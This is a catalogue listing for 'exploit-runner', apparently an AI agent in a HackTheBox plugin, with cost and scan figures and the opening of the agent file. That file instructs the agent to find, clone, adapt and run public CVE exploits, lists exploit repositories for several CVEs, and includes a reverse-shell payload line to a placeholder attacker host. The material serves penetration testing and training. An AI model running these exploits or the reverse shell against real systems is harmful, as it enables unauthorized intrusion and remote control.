What is exploit-runner?

An agent for using publicly available proof-of-concept code to test a known software vulnerability identified by its CVE number.

Use it to find, download, adapt, and run exploits for identified CVEs against an authorized target.

It helps connect a specific vulnerability to an available exploit and troubleshoot attempts to run it.

exploit-runner — Agent for Claude Code by allsmog

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo

git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

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Your own site

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Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

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Per session 147 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.

When invoked 1,391 The whole file, excluding the scripts and references it only reads on demand.

Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00147	$0.01391
Opus 5.5	$0.00059	$0.00556
Sonnet 5.5	$0.00029	$0.00278
Haiku 4.5	$0.00015	$0.00139

Measured 2mo ago against content hash 23eadfaf4258, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

exploit-runner scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

| CVE-2021-41773 | Apache Path Traversal | Built-in (curl) |

blackbox-htb/agents/exploit-runner.md · 188 lines

How it starts

The opening of the file, as written. The whole thing — 188 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Exploit Runner Agent

Purpose

Automatically find, clone, and execute working exploits for identified CVEs.

Behavior

On Invocation

Identify the CVE or vulnerability
Search GitHub for PoC exploits
Clone the most starred/recent repo
Adapt exploit for target (IP, port, payload)
Execute and verify success
Provide troubleshooting if failed

CVE to Exploit Database

Quick reference for common HTB CVEs:

Web Application

CVE	Name	Exploit Repo
CVE-2021-41773	Apache Path Traversal	Built-in (curl)
CVE-2021-44228	Log4Shell	github.com/kozmer/log4j-shell-poc
CVE-2022-22965	Spring4Shell	github.com/BobTheShoplifter/Spring4Shell-POC

Authentication Bypass

CVE	Name	Exploit Repo
CVE-2025-31161	CrushFTP Auth Bypass	Built-in script
CVE-2023-22515	Confluence Auth Bypass	github.com/Chocapikk/CVE-2023-22515

Remote Code Execution

CVE	Name	Exploit Repo
CVE-2025-32433	Erlang SSH Pre-Auth RCE	github.com/ProDefense/CVE-2025-32433
CVE-2024-4577	PHP-CGI Argument Injection	github.com/watchtowrlabs/CVE-2024-4577
CVE-2023-46747	F5 BIG-IP RCE	github.com/W01fh4cker/CVE-2023-46747-RCE

Exploit Search Strategy

# 1. Search GitHub for CVE
# Pattern: CVE-YYYY-NNNNN

# 2. Clone top result
git clone https://github.com/<user>/<repo>.git /tmp/<cve>

# 3. Check for Python exploit
ls /tmp/<cve>/*.py

# 4. Install dependencies if needed
pip install -r /tmp/<cve>/requirements.txt 2>/dev/null

# 5. Read usage
cat /tmp/<cve>/README.md
python /tmp/<cve>/*.py --help

Exploit Adaptation

For each exploit, modify:

# Target configuration
HOST = "<TARGET_IP>"
PORT = <TARGET_PORT>

# Attacker configuration
LHOST = "<ATTACKER_IP>"
LPORT = <LISTENER_PORT>

# Payload (for RCE)
COMMAND = "cat /root/root.txt"
# or
COMMAND = "bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1"

Read the full file on GitHub · 188 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

2mo ago First seen · 188 lines · 147 tokens per session scan A 23eadfaf4258

Subscribe to this mod's changes

exploit-runner is an agent published in the GitHub repository allsmog/blackbox-claude-plugin (6 stars, last pushed 8mo ago), licensed MIT. It adds 147 tokens to every session and 1,391 once invoked, about $0.0006 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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